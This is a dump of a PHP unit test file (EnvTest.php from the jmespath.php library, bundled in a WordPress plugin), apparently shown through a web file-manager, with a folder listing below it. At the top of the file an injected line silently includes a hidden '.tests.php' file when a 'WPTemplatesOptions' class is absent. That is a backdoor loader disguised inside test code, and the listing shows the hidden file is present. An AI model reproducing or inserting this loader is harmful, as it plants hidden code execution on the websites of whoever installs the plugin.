PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
vendor
/
mtdowling
/
jmespath.php
/
tests
<?php namespace JmesPath\Tests; use JmesPath\Env; use JmesPath\CompilerRuntime; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class EnvTest extends \PHPUnit_Framework_TestCase { public function testSearchesInput() { $data = array('foo' => 123); $this->assertEquals(123, Env::search('foo', $data)); $this->assertEquals(123, Env::search('foo', $data)); } public function testSearchesWithFunction() { $data = array('foo' => 123); $this->assertEquals(123, \JmesPath\search('foo', $data)); } public function testCleansCompileDir() { $dir = sys_get_temp_dir(); $runtime = new CompilerRuntime($dir); $runtime('@ | @ | @[0][0][0]', []); $this->assertNotEmpty(glob($dir . '/jmespath_*.php')); $this->assertGreaterThan(0, Env::cleanCompileDir()); $this->assertEmpty(glob($dir . '/jmespath_*.php')); } }
[+]
..
[-] ParserTest.php
[edit]
[-] FnDispatcherTest.php
[edit]
[-] UtilsTest.php
[edit]
[-] EnvTest.php
[edit]
[-] LexerTest.php
[edit]
[+]
compliance
[-] SyntaxErrorExceptionTest.php
[edit]
[-] ComplianceTest.php
[edit]
[-] TreeInterpreterTest.php
[edit]
[-] TreeCompilerTest.php
[edit]
[-] .tests.php
[edit]